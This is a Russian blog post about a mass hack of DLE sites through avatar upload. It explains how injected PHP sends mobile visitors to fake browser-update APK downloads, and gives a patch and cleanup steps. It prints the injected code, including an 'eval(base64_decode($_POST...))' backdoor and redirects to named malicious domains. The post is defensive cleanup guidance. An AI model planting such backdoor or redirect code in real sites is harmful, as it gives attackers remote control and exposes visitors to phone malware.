13.04.13, 23:26
0 комментарий
  DLE Баг-Фиксы

Взлом DLE загрузкой аватара с вредоносным кодом. Как с этим бороться?

Много лет в известном всем движке CMS DLE существовала уязвимость и никто на нее не обращал внимание. Но вот в начале этого года примерно с 6 января, видимо устав от празднования Нового года, хакер под псевдонимом tehApocalypse взломал несколько десятков тысяч сайтов на CMS DLE. В этой статье, я расскажу как закрыть дырку и удалить весь вредоносный код с ваших движков.

Хочу отметить тот факт что уязвимы абсолютно все версии DLE в том числе и DLE 9.7, про DLE 9.8 не скажу, не проверял. Патч безопасности от этого вас не спасет, это немножко другое.

В чем заключается взлом?
Взлом заключался во внедрении кода в несколько файлов DLE для перенаправления посетителей зараженных сайтов на сайт злоумышленника, переадресация действует только на мобильные телефоны, планшеты и т.д. Скажем вы заходите на зараженный сайт с телефона на OS Android тут же вам будет предложено скачать apk приложение, мол необходимо обновить ваш "интернет браузер" (иконка будет как в Google Chrome ). После установки приложения, ваш телефон будет инфицирован смс вирусом, который будет отправлять смс и снимать деньги с вашего баланса.

Если же вы уже скачали приложение, то не в коем случае не устанавливайте его!

Почему на это стоит обратить внимание?
Я предоставлю несколько фактов и вы дальше сами решите, тратите вы свое время или нет.
1) Яндекс может посчитать вас распространителем вирусных программ, соучастниками мошенников и т.д. Никто "церимоница" не будет, сразу попадете в бан.
2) Вы теряете посещаемость вашего сайта, люди которые заходят к примеру с мобильного не попадают на ваш сайт и вы теряете посетителей.
3) В вашем сайте дыра, только это уже говорит о том, что нужно действовать.

Какие файлы чаще всего подвержены заражению?
В основном заражению подлежат вот эти файлы:
index.php
engine/engine.php
engine/init.php
engine/data/config.php
engine/data/dbconfig.php


Но это не исключение, у меня например еще был заражен и language/Russian/website.lng , что очень меня удивило, так как я перекопал весь движок, но так и не смог найти вредоносный код, а редирект на вредоносный сайт так и оставался. Представляете моё удивление после обнаружение кода в папке language?

Приступим!
Находим и аккуратненько удаляем вот этот код из вышеперечисленных файлов (желательно сверится с чистым движком, да бы не удалить лишнего):

$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");
 
if ($iphone || $android || $palmpre || $ipod || $berry === true) {
header('Location: http://statuses.ws/');
}


Кстати ещё один важен момент, этот код может дублироваться в нескольких местах, будьте внимательны.

Так же возможен вот такой вариант вредоносного кода:
if (strpos($_SERVER['HTTP_USER_AGENT'],"iPhone") || strpos($_SERVER['HTTP_USER_AGENT'],"Android") || strpos($_SERVER['HTTP_USER_AGENT'],"webOS") || strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry") || strpos($_SERVER['HTTP_USER_AGENT'],"iPod")) header('Location: http://live-internet.ws/');
if(!empty($_POST['update'])) eval(base64_decode($_POST['update']));
if (strpos($_SERVER['HTTP_USER_AGENT'],"iPhone") || strpos($_SERVER['HTTP_USER_AGENT'],"Android") || strpos($_SERVER['HTTP_USER_AGENT'],"webOS") || strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry") || strpos($_SERVER['HTTP_USER_AGENT'],"iPod")) header('Location: http://getinternet.ws/');
if(!empty($_POST['update'])) eval(base64_decode($_POST['update']));


Удаляем его. Код мы почистили, но теперь осталась дыра, которую нужно залатать.

Как эта дрянь попала на мой сайт?
Очень просто, в нескольких файлах, в которых мы можем редактировать профиль пользователя и загружать аватар для этого пользователя есть такой код:
if( $thumb->size_auto( $user_group[$member_id['user_group']]['max_foto'] ) ) {
$thumb->jpeg_quality( $config['jpeg_quality'] );
$thumb->save( ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );
} else {
@rename( ROOT_DIR . "/uploads/fotos/" . $id . "." . $type, ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );
}


Так вот все дело в этой строчке:
@rename( ROOT_DIR . "/uploads/fotos/" . $id . "." . $type, ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );


Т.е. если аватар не надо изменять по размеру, то исходный инжектированный файл копируется в первоначальном виде для дальнейшего использования.

Латаем дыру
Дыра сразу в трех файлах, а именно в:
engine/inc/editusers.php
engine/modules/register.php
engine/modules/profile.php


Находим в них строку:
@rename( ROOT_DIR . "/uploads/fotos/" . $id . "." . $type, ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );


Заменяем на:
$thumb->size_auto( $user_group[$member_id['user_group']]['max_foto'] );
$thumb->jpeg_quality( $config['jpeg_quality'] );
$thumb->save( ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );


Все теперь загрузить аватар с вредоносным кодом будет невозможно.

Рекомендую удалить все аватарки с папки uploads/fotos, так на всякий случай.

tehApocalypse - заходим в админку ищем его и баним, по ip и т.д, опять же на всякий случай.

Все теперь, не забывайте хотя бы раз в месяц проверять свои сайты на наличие вредоносного кода, мало ли я что-то упустил.

"Я все сделал по инструкции, а у меня не пропала переадресация, что делать?"

1) Убедится что вы не пропустили вредоносный код, как я уже говорил он может дублироваться в одном файле несколько раз.
2) Возможно вредоносный код записан еще в какие-то другие фалы, проверьте все файлы движка на наличее таких ссылок:
statuses.ws, live-internet.ws, getinternet.ws и если такие имеются удаляйте их вместе с вредоносным кодом.
3) Если и это не помогло, значит у вас другие ссылки, другой вредоносный код и т.д.

П.С. - Рекомендую всем владельцам CMS DLE сделать эту небольшую проверку, возможно вы тоже подверглись взлому.

Реклама

Напишите своё мнение

  • acuteaggressiveair_kissangel
    badbbbeachbeee
    biggrinbig_bossblumblush
    boastbombboredombye
    clappingcraycrazycurtsey
    dancedashdeclarediablo
    diroldon-t_mentiondownloaddrinks
    first_moveflirtfocusfool
    friendsgive_heartgive_rosegood
    hangheartheathelp
    hihunterhystericireful
    kingkisslaughlazy
    lolmail1mambaman_in_love
    mdamega_shokmoilmosking
    musicneanegativenew_russian
    okon_the_quietpardonparting
    partypilotpioneerpleasantry
    popcormpranksterprevedpunish
    roflrtfmrussiansad
    sarcasticscarescratchsearch
    secretsensoredshokshout
    slowsmilesmokesoldier
    soldier_girlsorryspitefulspruce_up
    stinkersuicidesunsuperstition
    swoonteasetenderthanks
    thisto_pick_ones_noseto_take_umbragetreaten
    umnikunknwvampirevava
    victorywackowhistlewink
    wizardyahooyesyu
    e101e102e103e104
    e105e106e107e108
    e109e110e111e112
    e113e114e115e116
    e117e118e119e120
    e121e122e123e124
    e125e126e127e128
    e129e130e131e132
    e133e134e135e136
    e137e138e139e140
    e141e142e143e144
    e145e146e147e148
    e149e150e151e152
    e153e154e155e156
    e157e158e159e160
    e161e162e163e164
    e165e166e167e168
    e169e170e171e172
    e173e174e175e176
    e177e178e179e180
    e181e182e183e184
    e185e186e187e188
    e189e190e191e192
    e193e194e195e196
    e197e198e199e200
    e201e202e203e204